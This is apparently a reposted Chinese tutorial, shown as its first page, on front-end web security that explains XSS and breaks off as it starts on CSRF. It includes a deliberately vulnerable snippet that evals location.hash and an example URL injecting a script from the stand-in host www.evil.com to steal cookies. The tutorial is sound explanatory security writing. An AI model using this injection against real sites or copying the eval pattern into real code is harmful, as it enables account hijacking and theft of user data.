转载

站点的安全防范都是后端的职责?非也,Web前端安全同样不可忽视

前言

随着网络的快速普及,网络安全问题的受害者不再只是政府、企业等集体,每一个接触网络的普通人都有可能成为网络攻击的受害者。随着网络的普及,黑客进行网络攻击的手段越来也多,越来越复杂。以网站的攻击为例,据国家计算机网络应急技术处理协调中心的统计,一年中五个政府网站里就会有一个被入侵,而且入侵的数量每年都在以两倍多的速度增加。网络攻击的数量增加,除了攻击者的数量和攻击水平的增加之外,很多网络服务器端防护水平低也助长了网络的攻击。最近几年,很多网站的安全漏洞造成了用户个人信息的泄露,很多普通用户受到了经济上的损失。在国内著名的漏洞报告平台-乌云网 上,会持续报告很多的网络漏洞。从网站上公开的漏洞报告可以看出,即使是大的、有科技实力的网络服务商,在其提供的网络产品中也经常会存在致命的漏洞。可见国内的网络安全问题很突出。黑客攻击网站的主要手段有SQL注入、网络钓鱼、跨站攻击、拒绝服务攻击等。当然,网站的维护者也有很多防范的手段,比如构建强大的防火墙等。只是,只有网站本身具有高安全性,才能更好地抵挡各种复杂的攻击,而这就要求网站的开发者在开发网站时遵循一定的安全规范了。

从网站的前后端的角度来说,后端是安全防范的重中之重,网站的后端承载着网站中的重要信息,比如用户账号、密码信息、信用卡等,以及其他重要信息。这些信息是攻击者最希望得到的信息。但是由于前端业务逻辑越来越多,越来越复杂,针对前端的恶意攻击也越来越多了。前端的HTML、JavaScript、CSS、Flash等技术变成了前端攻击者和开发者的战场,网站安全问题也开始向前端倾斜。

常见的Web前端攻击方式

要搞清楚如何防范Web前端攻击,首先要了解常见的Web前端攻击手段或方法。目前,攻击网站前端的主要方式有如下几种:

1.XSS

XSS是 Cross Site Scripting 的缩写,即跨站点脚本攻击。XSS发生在用户的浏览器端,即当用户在加载HTML文档时执行了非预期的恶意脚本。这些恶意的脚本一般来自于第三方域,带有一定的危害性,恶意脚本的执行会导致用户敏感数据的泄露或者诱导用户错误操作。浏览器的同源策略并没有限制页面中加载第三方的脚本,所以给了攻击者一些可乘之机。一个典型的案例是这样的,攻击者发现到网站中有注入脚本的漏洞,比如没有针对用户输入的内容作验证或转义,而是直接在页面上显示了输入的内容,于是他们恶意输入一段有攻击性的脚本,使其在页面上执行。这些恶意脚本会修改页面的内容,并诱导用户操作已经被修改过的页面,从而盗取用户的Cookie信息。如下的代码演示了一个典型的XSS攻击。

如果网站的前端代码中有如下的代码段:

<script> eval(location.hash.substr(1)); </script>

攻击者发现页面上有这样的代码,则可以构建如下的URL:

http://host/test.html#document.write("<script/src=//www.evil.com/evil.js></script>”)

以这样的方式,攻击者在目标网站上就注入了一个外部的JavaScript文件,如果攻击者在这个外部文件中编写恶意的代码,比如取得Cookie信息等,就可控制用户在被攻击网站上的账号权限了。

总结XSS攻击的特点就是:尽一切办法在目标网站上执行非目标网站上原有的脚本。

2. CSRF

CSRF是 Cross Site Request Forgery ,翻译为跨站请求伪造。CSRF的概念很容易和XSS混淆。CSRF和XSS

[1]  [2] [3] [4]  下一页

正文到此结束
Loading...